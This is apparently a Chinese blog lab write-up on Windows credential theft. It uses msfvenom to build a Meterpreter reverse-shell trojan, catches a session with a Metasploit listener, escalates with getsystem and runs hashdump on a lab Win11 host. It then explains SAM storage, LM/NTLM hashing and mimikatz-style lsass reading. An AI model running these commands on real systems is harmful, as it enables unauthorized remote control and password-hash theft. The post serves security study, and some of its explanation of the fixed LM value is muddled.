抓取内网Windows明文密码与hashdump抓取密文

一、msf远程控制实验

实验准备:

kali:192.168.111.129
win11:192.168.111.145

1、生成一个木马控制程序–mpf.exe

┌──(root㉿kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.111.129 lport=2331 -f exe > /root/mpf.exe

2、启用MSF攻击平台

┌──(root㉿kali)-[~]
└─# msfconsole

3、加载模块和选择payload

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp

msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

4、设置payload参数并且进行监听

msf6 exploit(multi/handler) > set lhost 192.168.111.129
lhost => 192.168.111.129
msf6 exploit(multi/handler) > set lport 2331
lport => 2331
msf6 exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.111.129:2331 
[*] Sending stage (175686 bytes) to 192.168.111.145
[*] Meterpreter session 2 opened (192.168.111.129:2331 -> 192.168.111.145:51668) at 2024-04-20 01:08:17 -0400

5、提权

meterpreter > uuid
[+] UUID: 6fa875f1b3ab9044/x86=1/windows=1/2024-04-20T05:02:53Z
meterpreter > getsystem 
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > uuid
[+] UUID: 6fa875f1b3ab9044/x86=1/windows=1/2024-04-20T05:02:53Z

6、hashdump抓取hash值

meterpreter > hashdump 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Fly:1001:aad3b435b51404eeaad3b435b51404ee:9745ea134185c97df859fd43c05f0be7:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:15f3f11a63b481d0a7ab3c1afef16dcd:::

二、实验思考题:

2.1 windows登录的明文密码,存储过程是怎么样的,密文存在哪个文件下,该文件是否可以打开,并且查看到密文

存储过程:
在windows中,用户登录的密码一般不会以明文的形式保存在计算机中,而是通过保存密码的哈希值来确保它的安全性;当用户注销、重启或锁屏后,操作系统会让winlogon.exe显示登录界面,接收用户的输入信息。用户输入密码后,密码信息会交给lsass进程。在这个过程中,会存一份明文密码,并将其加密成NTLM Hash。加密后的密码哈希值会与存储在SAM(Security Accounts Manager)数据库中的哈希值进行比较认证。
Windows默认使用NTLM或Kerberos身份认证协议进行加密存储用户登录的密码。

1、NTLM
它是一种质询/应答身份验证协议,用于在网络环境中验证用户的身份。NTLM协议既可以为工作组中的机器提供身份验证,也可以用于域环境身份验证。在NTLM认证的过程中,客户端回和服务器进行一系列的交互,以便于验证用户的身份;它提供了数据完整性和加密功能,适用于工作组和域环境

2、Kerberos
Kerberos是一种身份验证协议,旨在为大型网络环境提供强大的身份验证和访问控制。它涉及客户端、服务器和密钥分发中心的参与,通过票据授权实现安全访问。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下,kerberos作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。它的加密功能比NTLM更加强大;

密文一般存储在:C:\Windows\System32\config\SAM文件中

此文件保存了Windows系统中所有用户的密码哈希值,是一个二进制文件,因此无法直接打开并查看到明文密码;为了保护用户的密码安全,SAM文件是被Windows系统保护的,普通用户无法直接访问或修改。

如果想要查看到hash值或进一步获取明文密码,需要一定的技术手段。例如,可以使用mimikatz这类工具读取lsass.exe进程内存来获取已登录用户的NTLM hash。另外,也可以通过修改特定的注册表项,强制让系统在特定条件下暴露出明文密码。

2.2 我们通过hashdump 抓取出 所有用户的密文,分为两个模块,为什么? 这两个模块分别都代表什么

在这里插入图片描述
通过上图: hashdump抓取的密文分为LMhashNThash

1.LMhash(LAN Manager)
LM Hash全名为“LAN Manager Hash”,是微软为了提高Windows操作系统的安全性而采用的散列加密算法,其本质是DES加密。尽管LM Hash较容易被破解,但是为了保证系统的兼容性,Windows只是将LM Hash禁用了(从Windows Vista和Windows Server 2008版本开始,Windows操作系统默认禁用LM Hash),LM Hash明文密码被限制在14位以内,也就是说,如果要停止使用LM Hash,将用户的密码设置为14位以上就好了。如果LM Hash被禁用了,攻击者提高工具抓取的LM Hash通常为"aad3b435b51404eeaad3b435b51404ee"

2.NTLM hash:
NTLM Hash是微软为了在提高安全性的同时保证兼容性而设计的散列加者算法,NTLMHash是基于MD4加密算法进行加密的。个人版从Windows Vista以后,服务器版从Wndows Sever2003以后,Windows 操作系统的认证方式均为NTLM Hash.
它是Windows系统中更为常用的哈希算法,用于存储用户的密码信息,与LM哈希不同,NT哈希没有长度限制,并且使用了更安全的加密算法。因此,在大多数情况下,NT哈希是更可靠和安全的密码存储方式。

因此通过抓取这两个模块的哈希值,攻击者可以尝试破解用户的密码。不过,需要注意的是,即使获得了哈希值,也不意味着可以直接还原出明文密码。破解哈希值通常需要使用暴力破解、字典攻击或其他高级技术,这取决于密码的复杂性和长度。

2.3 为什么第一个模块 永远是一样的aad3

  1. 第一个模块是一样的"aad3"是因为在Windows系统中,如果用户的密码为空或者密码长度不足14个字符,系统会自动生成一个固定的"aad3"值进行存储。 这是由于LM算法要求密码长度必须是14个字符,如果密码不足14个字符,系统就会用"aad3"来填充。
  2. 还有是为了保证系统的兼容性,Windows将LM hash禁止使用了,当其被禁用时,攻击者通过工具抓取的LM hash通常为这个固定的值;所以LM hash的固定值永远都为aad3

2.4 这两个模块的加密算法有什么不同,如何加密的

1、LM Hash加密:

  1. 用户的密码转换为大写,密码转换为16进制字符串,不足14字节将会用0来再后面补全。
  2. 密码的16进制字符串被分成两个7byte部分。每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度
  3. 再分7bit为一组,每组末尾加0,再组成一组
  4. 上步骤得到的二组,分别作为key 为 KGS!@#$%进行DES加密。
  5. 将加密后的两组拼接在一起,得到最终LM HASH值。

2、NTLM hash加密算法如下:

  1. 先将用户密码转换为十六进制格式。
  2. 将十六进制格式的密码进行Unicode编码。
  3. 使用MD4摘要算法对Unicode编码数据进行Hash计算
  • 34
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Fly`

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值